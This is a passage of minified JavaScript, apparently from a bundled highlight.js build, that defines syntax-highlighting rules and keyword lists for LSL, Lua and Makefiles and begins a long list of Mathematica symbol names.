ROUP|OTHER|SELECTED|TEMP)|DETAILS_(NAME|DESC|OWNER|GROUP|AREA|ID|SEE_AVATARS))|LIST_STAT_(MAX|MIN|MEAN|MEDIAN|STD_DEV|SUM(_SQUARES)?|NUM_COUNT|GEOMETRIC_MEAN|RANGE)|PAY_(HIDE|DEFAULT)|REGION_FLAG_(ALLOW_DAMAGE|FIXED_SUN|BLOCK_TERRAFORM|SANDBOX|DISABLE_(COLLISIONS|PHYSICS)|BLOCK_FLY|ALLOW_DIRECT_TELEPORT|RESTRICT_PUSHOBJECT)|HTTP_(METHOD|MIMETYPE|BODY_(MAXLENGTH|TRUNCATED)|CUSTOM_HEADER|PRAGMA_NO_CACHE|VERBOSE_THROTTLE|VERIFY_CERT)|SIT_(INVALID_(AGENT|LINK_OBJECT)|NO(T_EXPERIENCE|_(ACCESS|EXPERIENCE_PERMISSION|SIT_TARGET)))|STRING_(TRIM(_(HEAD|TAIL))?)|CLICK_ACTION_(NONE|TOUCH|SIT|BUY|PAY|OPEN(_MEDIA)?|PLAY|ZOOM)|TOUCH_INVALID_FACE|PROFILE_(NONE|SCRIPT_MEMORY)|RC_(DATA_FLAGS|DETECT_PHANTOM|GET_(LINK_NUM|NORMAL|ROOT_KEY)|MAX_HITS|REJECT_(TYPES|AGENTS|(NON)?PHYSICAL|LAND))|RCERR_(CAST_TIME_EXCEEDED|SIM_PERF_LOW|UNKNOWN)|ESTATE_ACCESS_(ALLOWED_(AGENT|GROUP)_(ADD|REMOVE)|BANNED_AGENT_(ADD|REMOVE))|DENSITY|FRICTION|RESTITUTION|GRAVITY_MULTIPLIER|KFM_(COMMAND|CMD_(PLAY|STOP|PAUSE)|MODE|FORWARD|LOOP|PING_PONG|REVERSE|DATA|ROTATION|TRANSLATION)|ERR_(GENERIC|PARCEL_PERMISSIONS|MALFORMED_PARAMS|RUNTIME_PERMISSIONS|THROTTLED)|CHARACTER_(CMD_((SMOOTH_)?STOP|JUMP)|DESIRED_(TURN_)?SPEED|RADIUS|STAY_WITHIN_PARCEL|LENGTH|ORIENTATION|ACCOUNT_FOR_SKIPPED_FRAMES|AVOIDANCE_MODE|TYPE(_([ABCD]|NONE))?|MAX_(DECEL|TURN_RADIUS|(ACCEL|SPEED)))|PURSUIT_(OFFSET|FUZZ_FACTOR|GOAL_TOLERANCE|INTERCEPT)|REQUIRE_LINE_OF_SIGHT|FORCE_DIRECT_PATH|VERTICAL|HORIZONTAL|AVOID_(CHARACTERS|DYNAMIC_OBSTACLES|NONE)|PU_(EVADE_(HIDDEN|SPOTTED)|FAILURE_(DYNAMIC_PATHFINDING_DISABLED|INVALID_(GOAL|START)|NO_(NAVMESH|VALID_DESTINATION)|OTHER|TARGET_GONE|(PARCEL_)?UNREACHABLE)|(GOAL|SLOWDOWN_DISTANCE)_REACHED)|TRAVERSAL_TYPE(_(FAST|NONE|SLOW))?|CONTENT_TYPE_(ATOM|FORM|HTML|JSON|LLSD|RSS|TEXT|XHTML|XML)|GCNP_(RADIUS|STATIC)|(PATROL|WANDER)_PAUSE_AT_WAYPOINTS|OPT_(AVATAR|CHARACTER|EXCLUSION_VOLUME|LEGACY_LINKSET|MATERIAL_VOLUME|OTHER|STATIC_OBSTACLE|WALKABLE)|SIM_STAT_PCT_CHARS_STEPPED)\\b"},{begin:"\\b(FALSE|TRUE)\\b"},{begin:"\\b(ZERO_ROTATION)\\b"},{begin:"\\b(EOF|JSON_(ARRAY|DELETE|FALSE|INVALID|NULL|NUMBER|OBJECT|STRING|TRUE)|NULL_KEY|TEXTURE_(BLANK|DEFAULT|MEDIA|PLYWOOD|TRANSPARENT)|URL_REQUEST_(GRANTED|DENIED))\\b"},{begin:"\\b(ZERO_VECTOR|TOUCH_INVALID_(TEXCOORD|VECTOR))\\b"}]},w={className:"built_in",begin:"\\b(ll(AgentInExperience|(Create|DataSize|Delete|KeyCount|Keys|Read|Update)KeyValue|GetExperience(Details|ErrorMessage)|ReturnObjectsBy(ID|Owner)|Json(2List|[GS]etValue|ValueType)|Sin|Cos|Tan|Atan2|Sqrt|Pow|Abs|Fabs|Frand|Floor|Ceil|Round|Vec(Mag|Norm|Dist)|Rot(Between|2(Euler|Fwd|Left|Up))|(Euler|Axes)2Rot|Whisper|(Region|Owner)?Say|Shout|Listen(Control|Remove)?|Sensor(Repeat|Remove)?|Detected(Name|Key|Owner|Type|Pos|Vel|Grab|Rot|Group|LinkNumber)|Die|Ground|Wind|([GS]et)(AnimationOverride|MemoryLimit|PrimMediaParams|ParcelMusicURL|Object(Desc|Name)|PhysicsMaterial|Status|Scale|Color|Alpha|Texture|Pos|Rot|Force|Torque)|ResetAnimationOverride|(Scale|Offset|Rotate)Texture|(Rot)?Target(Remove)?|(Stop)?MoveToTarget|Apply(Rotational)?Impulse|Set(KeyframedMotion|ContentType|RegionPos|(Angular)?Velocity|Buoyancy|HoverHeight|ForceAndTorque|TimerEvent|ScriptState|Damage|TextureAnim|Sound(Queueing|Radius)|Vehicle(Type|(Float|Vector|Rotation)Param)|(Touch|Sit)?Text|Camera(Eye|At)Offset|PrimitiveParams|ClickAction|Link(Alpha|Color|PrimitiveParams(Fast)?|Texture(Anim)?|Camera|Media)|RemoteScriptAccessPin|PayPrice|LocalRot)|ScaleByFactor|Get((Max|Min)ScaleFactor|ClosestNavPoint|StaticPath|SimStats|Env|PrimitiveParams|Link(PrimitiveParams|Number(OfSides)?|Key|Name|Media)|HTTPHeader|FreeURLs|Object(Details|PermMask|PrimCount)|Parcel(MaxPrims|Details|Prim(Count|Owners))|Attached(List)?|(SPMax|Free|Used)Memory|Region(Name|TimeDilation|FPS|Corner|AgentCount)|Root(Position|Rotation)|UnixTime|(Parcel|Region)Flags|(Wall|GMT)clock|SimulatorHostname|BoundingBox|GeometricCenter|Creator|NumberOf(Prims|NotecardLines|Sides)|Animation(List)?|(Camera|Local)(Pos|Rot)|Vel|Accel|Omega|Time(stamp|OfDay)|(Object|CenterOf)?Mass|MassMKS|Energy|Owner|(Owner)?Key|SunDirection|Texture(Offset|Scale|Rot)|Inventory(Number|Name|Key|Type|Creator|PermMask)|Permissions(Key)?|StartParameter|List(Length|EntryType)|Date|Agent(Size|Info|Language|List)|LandOwnerAt|NotecardLine|Script(Name|State))|(Get|Reset|GetAndReset)Time|PlaySound(Slave)?|LoopSound(Master|Slave)?|(Trigger|Stop|Preload)Sound|((Get|Delete)Sub|Insert)String|To(Upper|Lower)|Give(InventoryList|Money)|RezObject|(Stop)?LookAt|Sleep|CollisionFilter|(Take|Release)Controls|DetachFromAvatar|AttachToAvatar(Temp)?|InstantMessage|(GetNext)?Email|StopHover|MinEventDelay|RotLookAt|String(Length|Trim)|(Start|Stop)Animation|TargetOmega|Request(Experience)?Permissions|(Create|Break)Link|BreakAllLinks|(Give|Remove)Inventory|Water|PassTouches|Request(Agent|Inventory)Data|TeleportAgent(Home|GlobalCoords)?|ModifyLand|CollisionSound|ResetScript|MessageLinked|PushObject|PassCollisions|AxisAngle2Rot|Rot2(Axis|Angle)|A(cos|sin)|AngleBetween|AllowInventoryDrop|SubStringIndex|List2(CSV|Integer|Json|Float|String|Key|Vector|Rot|List(Strided)?)|DeleteSubList|List(Statistics|Sort|Randomize|(Insert|Find|Replace)List)|EdgeOfWorld|AdjustSoundVolume|Key2Name|TriggerSoundLimited|EjectFromLand|(CSV|ParseString)2List|OverMyLand|SameGroup|UnSit|Ground(Slope|Normal|Contour)|GroundRepel|(Set|Remove)VehicleFlags|SitOnLink|(AvatarOn)?(Link)?SitTarget|Script(Danger|Profiler)|Dialog|VolumeDetect|ResetOtherScript|RemoteLoadScriptPin|(Open|Close)RemoteDataChannel|SendRemoteData|RemoteDataReply|(Integer|String)ToBase64|XorBase64|Log(10)?|Base64To(String|Integer)|ParseStringKeepNulls|RezAtRoot|RequestSimulatorData|ForceMouselook|(Load|Release|(E|Une)scape)URL|ParcelMedia(CommandList|Query)|ModPow|MapDestination|(RemoveFrom|AddTo|Reset)Land(Pass|Ban)List|(Set|Clear)CameraParams|HTTP(Request|Response)|TextBox|DetectedTouch(UV|Face|Pos|(N|Bin)ormal|ST)|(MD5|SHA1|DumpList2)String|Request(Secure)?URL|Clear(Prim|Link)Media|(Link)?ParticleSystem|(Get|Request)(Username|DisplayName)|RegionSayTo|CastRay|GenerateKey|TransferLindenDollars|ManageEstateAccess|(Create|Delete)Character|ExecCharacterCmd|Evade|FleeFrom|NavigateTo|PatrolPoints|Pursue|UpdateCharacter|WanderWithin))\\b"};return{name:"LSL (Linden Scripting Language)",illegal:":",contains:[q,{className:"comment",variants:[A.COMMENT("//","$"),A.COMMENT("/\\*","\\*/")],relevance:0},Y,{className:"section",variants:[{begin:"\\b(state|default)\\b"},{begin:"\\b(state_(entry|exit)|touch(_(start|end))?|(land_)?collision(_(start|end))?|timer|listen|(no_)?sensor|control|(not_)?at_(rot_)?target|money|email|experience_permissions(_denied)?|run_time_permissions|changed|attach|dataserver|moving_(start|end)|link_message|(on|object)_rez|remote_data|http_re(sponse|quest)|path_update|transaction_result)\\b"}]},w,z,{className:"type",begin:"\\b(integer|float|string|key|vector|quaternion|rotation|list)\\b"}]}}lO8.exports=FVq});var rO8=v((xCz,nO8)=>{function QVq(A){let Y={begin:"\\[=*\\[",end:"\\]=*\\]",contains:["self"]},z=[A.COMMENT("--(?!\\[=*\\[)","$"),A.COMMENT("--\\[=*\\[","\\]=*\\]",{contains:[Y],relevance:10})];return{name:"Lua",keywords:{$pattern:A.UNDERSCORE_IDENT_RE,literal:"true false nil",keyword:"and break do else elseif end for goto if in local not or repeat return then until while",built_in:"_G _ENV _VERSION __index __newindex __mode __call __metatable __tostring __len __gc __add __sub __mul __div __mod __pow __concat __unm __eq __lt __le assert collectgarbage dofile error getfenv getmetatable ipairs load loadfile loadstring module next pairs pcall print rawequal rawget rawset require select setfenv setmetatable tonumber tostring type unpack xpcall arg self coroutine resume yield status wrap create running debug getupvalue debug sethook getmetatable gethook setmetatable setlocal traceback setfenv getinfo setupvalue getlocal getregistry getfenv io lines write close flush open output type read stderr stdin input stdout popen tmpfile math log max acos huge ldexp pi cos tanh pow deg tan cosh sinh random randomseed frexp ceil floor rad abs sqrt modf asin min mod fmod log10 atan2 exp sin atan os exit setlocale date getenv difftime remove time clock tmpname rename execute package preload loadlib loaded loaders cpath config path seeall string sub upper len gfind rep find match char dump gmatch reverse byte format gsub lower table setn insert getn foreachi maxn foreach concat sort remove"},contains:z.concat([{className:"function",beginKeywords:"function",end:"\\)",contains:[A.inherit(A.TITLE_MODE,{begin:"([_a-zA-Z]\\w*\\.)*([_a-zA-Z]\\w*:)?[_a-zA-Z]\\w*"}),{className:"params",begin:"\\(",endsWithParent:!0,contains:z}].concat(z)},A.C_NUMBER_MODE,A.APOS_STRING_MODE,A.QUOTE_STRING_MODE,{className:"string",begin:"\\[=*\\[",end:"\\]=*\\]",contains:[Y],relevance:5}])}}nO8.exports=QVq});var aO8=v((uCz,oO8)=>{function UVq(A){let K={className:"variable",variants:[{begin:"\\$\\("+A.UNDERSCORE_IDENT_RE+"\\)",contains:[A.BACKSLASH_ESCAPE]},{begin:/\$[@%<?\^\+\*]/}]},q={className:"string",begin:/"/,end:/"/,contains:[A.BACKSLASH_ESCAPE,K]},Y={className:"variable",begin:/\$\([\w-]+\s/,end:/\)/,keywords:{built_in:"subst patsubst strip findstring filter filter-out sort word wordlist firstword lastword dir notdir suffix basename addsuffix addprefix join wildcard realpath abspath error warning shell origin flavor foreach if or and call eval file value"},contains:[K]},z={begin:"^"+A.UNDERSCORE_IDENT_RE+"\\s*(?=[:+?]?=)"},w={className:"meta",begin:/^\.PHONY:/,end:/$/,keywords:{$pattern:/[\.\w]+/,"meta-keyword":".PHONY"}},H={className:"section",begin:/^[^\s]+:/,end:/$/,contains:[K]};return{name:"Makefile",aliases:["mk","mak","make"],keywords:{$pattern:/[\w-]+/,keyword:"define endef undefine ifdef ifndef ifeq ifneq else endif include -include sinclude override export unexport private vpath"},contains:[A.HASH_COMMENT_MODE,K,q,Y,z,w,H]}}oO8.exports=UVq});var K08=v((BCz,A08)=>{var pVq=["AASTriangle","AbelianGroup","Abort","AbortKernels","AbortProtect","AbortScheduledTask","Above","Abs","AbsArg","AbsArgPlot","Absolute","AbsoluteCorrelation","AbsoluteCorrelationFunction","AbsoluteCurrentValue","AbsoluteDashing","AbsoluteFileName","AbsoluteOptions","AbsolutePointSize","AbsoluteThickness","AbsoluteTime","AbsoluteTiming","AcceptanceThreshold","AccountingForm","Accumulate","Accuracy","AccuracyGoal","ActionDelay","ActionMenu","ActionMenuBox","ActionMenuBoxOptions","Activate","Active","ActiveClassification","ActiveClassificationObject","ActiveItem","ActivePrediction","ActivePredictionObject","ActiveStyle","AcyclicGraphQ","AddOnHelpPath","AddSides","AddTo","AddToSearchIndex","AddUsers","AdjacencyGraph","AdjacencyList","AdjacencyMatrix","AdjacentMeshCells","AdjustmentBox","AdjustmentBoxOptions","AdjustTimeSeriesForecast","AdministrativeDivisionData","AffineHalfSpace","AffineSpace","AffineStateSpaceModel","AffineTransform","After","AggregatedEntityClass","AggregationLayer","AircraftData","AirportData","AirPressureData","AirTemperatureData","AiryAi","AiryAiPrime","AiryAiZero","AiryBi","AiryBiPrime","AiryBiZero","AlgebraicIntegerQ","AlgebraicNumber","AlgebraicNumberDenominator","AlgebraicNumberNorm","AlgebraicNumberPolynomial","AlgebraicNumberTrace","AlgebraicRules","AlgebraicRulesData","Algebraics","AlgebraicUnitQ","Alignment","AlignmentMarker","AlignmentPoint","All","AllowAdultContent","AllowedCloudExtraParameters","AllowedCloudParameterExtensions","AllowedDimensions","AllowedFrequencyRange","AllowedHeads","AllowGroupClose","AllowIncomplete","AllowInlineCells","AllowKernelInitialization","AllowLooseGrammar","AllowReverseGroupClose","AllowScriptLevelChange","AllowVersionUpdate","AllTrue","Alphabet","AlphabeticOrder","AlphabeticSort","AlphaChannel","AlternateImage","AlternatingFactorial","AlternatingGroup","AlternativeHypothesis","Alternatives","AltitudeMethod","AmbientLight","AmbiguityFunction","AmbiguityList","Analytic","AnatomyData","AnatomyForm","AnatomyPlot3D","AnatomySkinStyle","AnatomyStyling","AnchoredSearch","And","AndersonDarlingTest","AngerJ","AngleBisector","AngleBracket","AnglePath","AnglePath3D","AngleVector","AngularGauge","Animate","AnimationCycleOffset","AnimationCycleRepetitions","AnimationDirection","AnimationDisplayTime","AnimationRate","AnimationRepetitions","AnimationRunning","AnimationRunTime","AnimationTimeIndex","Animator","AnimatorBox","AnimatorBoxOptions","AnimatorElements","Annotate","Annotation","AnnotationDelete","AnnotationKeys","AnnotationRules","AnnotationValue","Annuity","AnnuityDue","Annulus","AnomalyDetection","AnomalyDetector","AnomalyDetectorFunction","Anonymous","Antialiasing","AntihermitianMatrixQ","Antisymmetric","AntisymmetricMatrixQ","Antonyms","AnyOrder","AnySubset","AnyTrue","Apart","ApartSquareFree","APIFunction","Appearance","AppearanceElements","AppearanceRules","AppellF1","Append","AppendCheck","AppendLayer","AppendTo","Apply","ApplySides","ArcCos","ArcCosh","ArcCot","ArcCoth","ArcCsc","ArcCsch","ArcCurvature","ARCHProcess","ArcLength","ArcSec","ArcSech","ArcSin","ArcSinDistribution","ArcSinh","ArcTan","ArcTanh","Area","Arg","ArgMax","ArgMin","ArgumentCountQ","ARIMAProcess","ArithmeticGeometricMean","ARMAProcess","Around","AroundReplace","ARProcess","Array","ArrayComponents","ArrayDepth","ArrayFilter","ArrayFlatten","ArrayMesh","ArrayPad","ArrayPlot","ArrayQ","ArrayResample","ArrayReshape","ArrayRules","Arrays","Arrow","Arrow3DBox","ArrowBox","Arrowheads","ASATriangle","Ask","AskAppend","AskConfirm","AskDisplay","AskedQ","AskedValue","AskFunction","AskState","AskTemplateDisplay","AspectRatio","AspectRatioFixed","Assert","AssociateTo","Association","AssociationFormat","AssociationMap","AssociationQ","AssociationThread","AssumeDeterministic","Assuming","Assumptions","AstronomicalData","Asymptotic","AsymptoticDSolveValue","AsymptoticEqual","AsymptoticEquivalent","AsymptoticGreater","AsymptoticGreaterEqual","AsymptoticIntegrate","AsymptoticLess","AsymptoticLessEqual","AsymptoticOutputTracker","AsymptoticProduct","AsymptoticRSolveValue","AsymptoticSolve","AsymptoticSum","Asynchronous","AsynchronousTaskObject","AsynchronousTasks","Atom","AtomCoordinates","AtomCount","AtomDiagramCoordinates","AtomList","AtomQ","AttentionLayer","Attributes","Audio","AudioAmplify","AudioAnnotate","AudioAnnotationLookup","AudioBlockMap","AudioCapture","AudioChannelAssignment","AudioChannelCombine","AudioChannelMix","AudioChannels","AudioChannelSeparate","AudioData","AudioDelay","AudioDelete","AudioDevice","AudioDistance","AudioEncoding","AudioFade","AudioFrequencyShift","AudioGenerator","AudioIdentify","AudioInputDevice","AudioInsert","AudioInstanceQ","AudioIntervals","AudioJoin","AudioLabel","AudioLength","AudioLocalMeasurements","AudioLooping","AudioLoudness","AudioMeasurements","AudioNormalize","AudioOutputDevice","AudioOverlay","AudioPad","AudioPan","AudioPartition","AudioPause","AudioPitchShift","AudioPlay","AudioPlot","AudioQ","AudioRecord","AudioReplace","AudioResample","AudioReverb","AudioReverse","AudioSampleRate","AudioSpectralMap","AudioSpectralTransformation","AudioSplit","AudioStop","AudioStream","AudioStreams","AudioTimeStretch","AudioTracks","AudioTrim","AudioType","AugmentedPolyhedron","AugmentedSymmetricPolynomial","Authenticate","Authentication","AuthenticationDialog","AutoAction","Autocomplete","AutocompletionFunction","AutoCopy","AutocorrelationTest","AutoDelete","AutoEvaluateEvents","AutoGeneratedPackage","AutoIndent","AutoIndentSpacings","AutoItalicWords","AutoloadPath","AutoMatch","Automatic","AutomaticImageSize","AutoMultiplicationSymbol","AutoNumberFormatting","AutoOpenNotebooks","AutoOpenPalettes","AutoQuoteCharacters","AutoRefreshed","AutoRemove","AutorunSequencing","AutoScaling","AutoScroll","AutoSpacing","AutoStyleOptions","AutoStyleWords","AutoSubmitting","Axes","AxesEdge","AxesLabel","AxesOrigin","AxesStyle","AxiomaticTheory","Axis","BabyMonsterGroupB","Back","Background","BackgroundAppearance","BackgroundTasksSettings","Backslash","Backsubstitution","Backward","Ball","Band","BandpassFilter","BandstopFilter","BarabasiAlbertGraphDistribution","BarChart","BarChart3D","BarcodeImage","BarcodeRecognize","BaringhausHenzeTest","BarLegend","BarlowProschanImportance","BarnesG","BarOrigin","BarSpacing","BartlettHannWindow","BartlettWindow","BaseDecode","BaseEncode","BaseForm","Baseline","BaselinePosition","BaseStyle","BasicRecurrentLayer","BatchNormalizationLayer","BatchSize","BatesDistribution","BattleLemarieWavelet","BayesianMaximization","BayesianMaximizationObject","BayesianMinimization","BayesianMinimizationObject","Because","BeckmannDistribution","Beep","Before","Begin","BeginDialogPacket","BeginFrontEndInteractionPacket","BeginPackage","BellB","BellY","Below","BenfordDistribution","BeniniDistribution","BenktanderGibratDistribution","BenktanderWeibullDistribution","BernoulliB","BernoulliDistribution","BernoulliGraphDistribution","BernoulliProcess","BernsteinBasis","BesselFilterModel","BesselI","BesselJ","BesselJZero","BesselK","BesselY","BesselYZero","Beta","BetaBinomialDistribution","BetaDistribution","BetaNegativeBinomialDistribution","BetaPrimeDistribution","BetaRegularized","Between","BetweennessCentrality","BeveledPolyhedron","BezierCurve","BezierCurve3DBox","BezierCurve3DBoxOptions","BezierCurveBox","BezierCurveBoxOptions","BezierFunction","BilateralFilter","Binarize","BinaryDeserialize","BinaryDistance","BinaryFormat","BinaryImageQ","BinaryRead","BinaryReadList","BinarySerialize","BinaryWrite","BinCounts","BinLists","Binomial","BinomialDistribution","BinomialProcess","BinormalDistribution","BiorthogonalSplineWavelet","BipartiteGraphQ","BiquadraticFilterModel","BirnbaumImportance","BirnbaumSaundersDistribution","BitAnd","BitClear","BitGet","BitLength","BitNot","BitOr","BitSet","BitShiftLeft","BitShiftRight","BitXor","BiweightLocation","BiweightMidvariance","Black","BlackmanHarrisWindow","BlackmanNuttallWindow","BlackmanWindow","Blank","BlankForm","BlankNullSequence","BlankSequence","Blend","Block","BlockchainAddressData","BlockchainBase","BlockchainBlockData","BlockchainContractValue","BlockchainData","BlockchainGet","BlockchainKeyEncode","BlockchainPut","BlockchainTokenData","BlockchainTransaction","BlockchainTransactionData","BlockchainTransactionSign","BlockchainTransactionSubmit","BlockMap","BlockRandom","BlomqvistBeta","BlomqvistBetaTest","Blue","Blur","BodePlot","BohmanWindow","Bold","Bond","BondCount","BondList","BondQ","Bookmarks","Boole","BooleanConsecutiveFunction","BooleanConvert","BooleanCountingFunction","BooleanFunction","BooleanGraph","BooleanMaxterms","BooleanMinimize","BooleanMinterms","BooleanQ","BooleanRegion","Booleans","BooleanStrings","BooleanTable","BooleanVariables","BorderDimensions","BorelTannerDistribution","Bottom","BottomHatTransform","BoundaryDiscretizeGraphics","BoundaryDiscretizeRegion","BoundaryMesh","BoundaryMeshRegion","BoundaryMeshRegionQ","BoundaryStyle","BoundedRegionQ","BoundingRegion","Bounds","Box","BoxBaselineShift","BoxData","BoxDimensions","Boxed","Boxes","BoxForm","BoxFormFormatTypes","BoxFrame","BoxID","BoxMargins","BoxMatrix","BoxObject","BoxRatios","BoxRotation","BoxRotationPoint","BoxStyle","BoxWhiskerChart","Bra","BracketingBar","BraKet","BrayCurtisDistance","BreadthFirstScan","Break","BridgeData","BrightnessEqualize","BroadcastStationData","Brown","BrownForsytheTest","BrownianBridgeProcess","BrowserCategory","BSplineBasis","BSplineCurve","BSplineCurve3DBox","BSplineCurve3DBoxOptions","BSplineCurveBox","BSplineCurveBoxOptions","BSplineFunction","BSplineSurface","BSplineSurface3DBox","BSplineSurface3DBoxOptions","BubbleChart","BubbleChart3D","BubbleScale","BubbleSizes","BuildingData","BulletGauge","BusinessDayQ","ButterflyGraph","ButterworthFilterModel","Button","ButtonBar","ButtonBox","ButtonBoxOptions","ButtonCell","ButtonContents","ButtonData","ButtonEvaluator","ButtonExpandable","ButtonFrame","ButtonFunction","ButtonMargins","ButtonMinHeight","ButtonNote","ButtonNotebook","ButtonSource","ButtonStyle","ButtonStyleMenuListing","Byte","ByteArray","ByteArrayFormat","ByteArrayQ","ByteArrayToString","ByteCount","ByteOrdering","C","CachedValue","CacheGraphics","CachePersistence","CalendarConvert","CalendarData","CalendarType","Callout","CalloutMarker","CalloutStyle","CallPacket","CanberraDistance","Cancel","CancelButton","CandlestickChart","CanonicalGraph","CanonicalizePolygon","CanonicalizePolyhedron","CanonicalName","CanonicalWarpingCorrespondence","CanonicalWarpingDistance","CantorMesh","CantorStaircase","Cap","CapForm","CapitalDifferentialD","Capitalize","CapsuleShape","CaptureRunning","CardinalBSplineBasis","CarlemanLinearize","CarmichaelLambda","CaseOrdering","Cases","CaseSensitive","Cashflow","Casoratian","Catalan","CatalanNumber","Catch","CategoricalDistribution","Catenate","CatenateLayer","CauchyDistribution","CauchyWindow","CayleyGraph","CDF","CDFDeploy","CDFInformation","CDFWavelet","Ceiling","CelestialSystem","Cell","CellAutoOverwrite","CellBaseline","CellBoundingBox","CellBracketOptions","CellChangeTimes","CellContents","CellContext","CellDingbat","CellDynamicExpression","CellEditDuplicate","CellElementsBoundingBox","CellElementSpacings","CellEpilog","CellEvaluationDuplicate","CellEvaluationFunction","CellEvaluationLanguage","CellEventActions","CellFrame","CellFrameColor","CellFrameLabelMargins","CellFrameLabels","CellFrameMargins","CellGroup","CellGroupData","CellGrouping","CellGroupingRules","CellHorizontalScrolling","CellID","CellLabel","CellLabelAutoDelete","CellLabelMargins","CellLabelPositioning","CellLabelStyle","CellLabelTemplate","CellMargins","CellObject","CellOpen","CellPrint","CellProlog","Cells","CellSize","CellStyle","CellTags","CellularAutomaton","CensoredDistribution","Censoring","Center","CenterArray","CenterDot","CentralFeature","CentralMoment","CentralMomentGeneratingFunction","Cepstrogram","CepstrogramArray","CepstrumArray","CForm","ChampernowneNumber","ChangeOptions","ChannelBase","ChannelBrokerAction","ChannelDatabin","ChannelHistoryLength","ChannelListen","ChannelListener","ChannelListeners","ChannelListenerWait","ChannelObject","ChannelPreSendFunction","ChannelReceiverFunction","ChannelSend","ChannelSubscribers","ChanVeseBinarize","Character","CharacterCounts","CharacterEncoding","CharacterEncodingsPath","CharacteristicFunction","CharacteristicPolynomial","CharacterName","CharacterNormalize","CharacterRange","Characters","ChartBaseStyle","ChartElementData","ChartElementDataFunction","ChartElementFunction","ChartElements","ChartLabels","ChartLayout","ChartLegends","ChartStyle","Chebyshev1FilterModel","Chebyshev2FilterModel","ChebyshevDistance","ChebyshevT","ChebyshevU","Check","CheckAbort","CheckAll","Checkbox","CheckboxBar","CheckboxBox","CheckboxBoxOptions","ChemicalData","ChessboardDistance","ChiDistribution","ChineseRemainder","ChiSquareDistribution","ChoiceButtons","ChoiceDialog","CholeskyDecomposition","Chop","ChromaticityPlot","ChromaticityPlot3D","ChromaticPolynomial","Circle","CircleBox","CircleDot","CircleMinus","CirclePlus","CirclePoints","CircleThrough","CircleTimes","CirculantGraph","CircularOrthogonalMatrixDistribution","CircularQuaternionMatrixDistribution","CircularRealMatrixDistribution","CircularSymplecticMatrixDistribution","CircularUnitaryMatrixDistribution","Circumsphere","CityData","ClassifierFunction","ClassifierInformation","ClassifierMeasurements","ClassifierMeasurementsObject","Classify","ClassPriors","Clear","ClearAll","ClearAttributes","ClearCookies","ClearPermissions","ClearSystemCache","ClebschGordan","ClickPane","Clip","ClipboardNotebook","ClipFill","ClippingStyle","ClipPlanes","ClipPlanesStyle","ClipRange","Clock","ClockGauge","ClockwiseContourIntegral","Close","Closed","CloseKernels","ClosenessCentrality","Closing","ClosingAutoSave","ClosingEvent","ClosingSaveDialog","CloudAccountData","CloudBase","CloudConnect","CloudConnections","CloudDeploy","CloudDirectory","CloudDisconnect","CloudEvaluate","CloudExport","CloudExpression","CloudExpressions","CloudFunction","CloudGet","CloudImport","CloudLoggingData","CloudObject","CloudObjectInformation","CloudObjectInformationData","CloudObjectNameFormat","CloudObjects","CloudObjectURLType","CloudPublish","CloudPut","CloudRenderingMethod","CloudSave","CloudShare","CloudSubmit","CloudSymbol","CloudUnshare","CloudUserID","ClusterClassify","ClusterDissimilarityFunction","ClusteringComponents","ClusteringTree","CMYKColor","Coarse","CodeAssistOptions","Coefficient","CoefficientArrays","CoefficientDomain","CoefficientList","CoefficientRules","CoifletWavelet","Collect","Colon","ColonForm","ColorBalance","ColorCombine","ColorConvert","ColorCoverage","ColorData","ColorDataFunction","ColorDetect","ColorDistance","ColorFunction","ColorFunctionScaling","Colorize","ColorNegate","ColorOutput","ColorProfileData","ColorQ","ColorQuantize","ColorReplace","ColorRules","ColorSelectorSettings","ColorSeparate","ColorSetter","ColorSetterBox","ColorSetterBoxOptions","ColorSlider","ColorsNear","ColorSpace","ColorToneMapping","Column","ColumnAlignments","ColumnBackgrounds","ColumnForm","ColumnLines","ColumnsEqual","ColumnSpacings","ColumnWidths","CombinedEntityClass","CombinerFunction","CometData","CommonDefaultFormatTypes","Commonest","CommonestFilter","CommonName","CommonUnits","CommunityBoundaryStyle","CommunityGraphPlot","CommunityLabels","CommunityRegionStyle","CompanyData","CompatibleUnitQ","CompilationOptions","CompilationTarget","Compile","Compiled","CompiledCodeFunction","CompiledFunction","CompilerOptions","Complement","ComplementedEntityClass","CompleteGraph","CompleteGraphQ","CompleteKaryTree","CompletionsListPacket","Complex","ComplexContourPlot","Complexes","ComplexExpand","ComplexInfinity","ComplexityFunction","ComplexListPlot","ComplexPlot","ComplexPlot3D","ComplexRegionPlot","ComplexStreamPlot","ComplexVectorPlot","ComponentMeasurements","ComponentwiseContextMenu","Compose","ComposeList","ComposeSeries","CompositeQ","Composition","CompoundElement","CompoundExpression","CompoundPoissonDistribution","CompoundPoissonProcess","CompoundRenewalProcess","Compress","CompressedData","CompressionLevel","ComputeUncertainty","Condition","ConditionalExpression","Conditioned","Cone","ConeBox","ConfidenceLevel","ConfidenceRange","ConfidenceTransform","ConfigurationPath","ConformAudio","ConformImages","Congruent","ConicHullRegion","ConicHullRegion3DBox","ConicHullRegionBox","ConicOptimization","Conjugate","ConjugateTranspose","Conjunction","Connect","ConnectedComponents","ConnectedGraphComponents","ConnectedGraphQ","ConnectedMeshComponents","ConnectedMoleculeComponents","ConnectedMoleculeQ","ConnectionSettings","ConnectLibraryCallbackFunction","ConnectSystemModelComponents","ConnesWindow","ConoverTest","ConsoleMessage","ConsoleMessagePacket","Constant","ConstantArray","ConstantArrayLayer","ConstantImage","ConstantPlusLayer","ConstantRegionQ","Constants","ConstantTimesLayer","ConstellationData","ConstrainedMax","ConstrainedMin","Construct","Containing","ContainsAll","ContainsAny","ContainsExactly","ContainsNone","ContainsOnly","ContentFieldOptions","ContentLocationFunction","ContentObject","ContentPadding","ContentsBoundingBox","ContentSelectable","ContentSize","Context","ContextMenu","Contexts","ContextToFileName","Continuation","Continue","ContinuedFraction","ContinuedFractionK","ContinuousAction","ContinuousMarkovProcess","ContinuousTask","ContinuousTimeModelQ","ContinuousWaveletData","ContinuousWaveletTransform","ContourDetect","ContourGraphics","ContourIntegral","ContourLabels","ContourLines","ContourPlot","ContourPlot3D","Contours","ContourShading","ContourSmoothing","ContourStyle","ContraharmonicMean","ContrastiveLossLayer","Control","ControlActive","ControlAlignment","ControlGroupContentsBox","ControllabilityGramian","ControllabilityMatrix","ControllableDecomposition","ControllableModelQ","ControllerDuration","ControllerInformation","ControllerInformationData","ControllerLinking","ControllerManipulate","ControllerMethod","ControllerPath","ControllerState","ControlPlacement","ControlsRendering","ControlType","Convergents","ConversionOptions","ConversionRules","ConvertToBitmapPacket","ConvertToPostScript","ConvertToPostScriptPacket","ConvexHullMesh","ConvexPolygonQ","ConvexPolyhedronQ","ConvolutionLayer","Co